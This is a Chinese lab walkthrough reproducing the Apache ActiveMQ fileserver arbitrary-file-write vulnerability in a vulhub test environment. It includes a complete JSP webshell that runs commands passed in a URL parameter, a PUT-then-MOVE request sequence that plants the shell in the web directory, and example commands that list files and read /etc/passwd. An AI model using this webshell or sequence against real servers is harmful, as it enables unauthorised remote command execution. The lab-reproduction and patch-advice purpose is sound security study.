目录
一、ActiveMQ任意文件写入漏洞
1、背景描述
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
①其使用率并不高
②文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
2、漏洞原理
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
3、影响版本
Apache ActiveMQ 5.x ~ 5.14.0
二、环境搭建
使用工具:Ubuntu(IP:192.168.50.189/24)、kali-linux-2022.2(IP:192.168.50.133/24)、火狐浏览器
使用vulhub靶场运行漏洞环境,kali-linux-2022.2已安装Burp Suite
三、漏洞复现
1、搭建及运行漏洞环境
docker-compose build
docker-compose up -d
环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。
访问http://your-ip:8161/看到web页面,说明环境已成功运行。
2、默认的ActiveMQ账号密码均为`admin`,首先访问http://192.168.50.189:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径
3、在火狐浏览器上开启代理,使用Burp Suite对192.168.50.189:8161/admin/fileserver进行抓包
4、将抓到的包发给Repeater,右键选择发送
5、点击Repeater,把GET /admin/fileserver HTTP/1.1修改为PUT /fileserver/1.txt HTTP/1.1,并增加一段代码,然后点击Go上传webshell,返回一个204说明上传成功
<%@ page import="java.io.*"%>
<%
out.print("Hello");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"");
}
%>
6、移动到web目录下的api文件夹(`/opt/activemq/webapps/api/s.jsp`)中:
Destination:file:///opt/activemq/webapps/api/1.jsp
7、火狐浏览器关闭代理,利用该版本存在的未授权访问漏洞,不用登录,访问http://192.168.50.189:8161/api/1.jsp?cmd=ls,下图可以看到成功执行命令,另外http://192.168.50.189:8161/api/1.jsp?cmd=cat%20/etc/passwd可查看账户密码信息
四、漏洞防御
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本